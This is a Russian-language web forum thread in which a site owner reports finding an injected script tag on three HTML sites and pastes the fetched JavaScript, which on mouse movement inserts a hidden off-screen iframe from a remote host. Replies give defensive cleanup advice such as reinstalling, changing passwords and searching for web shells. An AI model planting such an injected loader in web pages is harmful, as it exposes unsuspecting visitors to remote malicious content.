Форум Сайтостроение Веб-строительство

Поймал вирус?

Djsarik
На сайте с 23.11.2008
Offline
75
Djsarik
853

Вечер добрый уважаемые форумчане, как на зло в праздники заметил проблемку... НА 3х html сайтах обнаружил код

<script src="http://kinoshkaxa.changeip.name/rsize.js"></script>

код был в index.html в конце страницы добавили. Сайты на одном хостинг аккаунте. НЕ могли бы вы подсказать что это за штука такая ко мне подселилась и что она делает? и как лучше с ней бороться.

Вот что внутри этого скрипта:

res='amgtnyv.freewww.biz';
var astatf = 0; document.write("<head></head><b><div id='pftgfkz'></div></b>");document.onmousemove=jsstatic; function jsstatic() { if (astatf == 0) { astatf++; text = "<iframe src='http://"+res+"/advjump/2' width='6' height='10' style='position: absolute; left: -1000px; top: -1000px; z-index: 1;'></iframe>"; document.getElementById("pftgfkz").innerHTML = text }}

Буду благодарен за любую информацию.

6666
На сайте с 10.01.2005
Offline
505
6666
#1

Djsarik, да поищите темы про вируы на сайте. И по общему алгоритму избавляйтесь.

1. Ставьте двиг заново на все сайты на хостинге. Предварительно проверив его на домашнем компе антивирусом.

2. Меняйте ВСЕ пароли, которые вообще существуют в природе.

3. Проверяйте свой комп до последнего байта

4. Закачайте антивирус на хостинг и проверяйте 100500 раз. Пока все не вычистите.

5. Права доступа на файлы и папки сделайте максимально строгими (так что бы сайт работал и не более)

6. Запарольте все админки (папки)

7. Настройте хтаксесс на максимальную безопасность

ИТД.

ПС исправлением одного файла не обойдетесь, будет вписывать JS опять и опять и снова (

Каждое мое сообщение проверила и одобрила Елена Летучая. (c) Для меня очень важно все что Вы говорите! (http://surrealism.ru/123.mp3) .
Manul антивирус Яндекса для Яндекс.Диск научился автоматически сохранять Переезд с HTTP на
Devvver
На сайте с 02.07.2008
Offline
688
Devvver
#2

Djsarik, советую начать с

1) Скачать Доктор Веб ИТ и AVZ

2) Смотреть логи, откуда ломали

3) Чистить сайт от кода(Айболит), искать шелл

4) менять пароли

Как показывает практика, лучше поставить скрипт для отслеживания записей в файлы и мониторить лог.

Мой блог. Все о создании сайтов,Seo и СДЛ ( https://e-moldovanu.com/ ) Мой SEO телеграм канал https://t.me/seobloggers
«Играем в доктора»: неправильное Mozilla запустила сервис обмена AdWords: новый показатель отслеживания

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий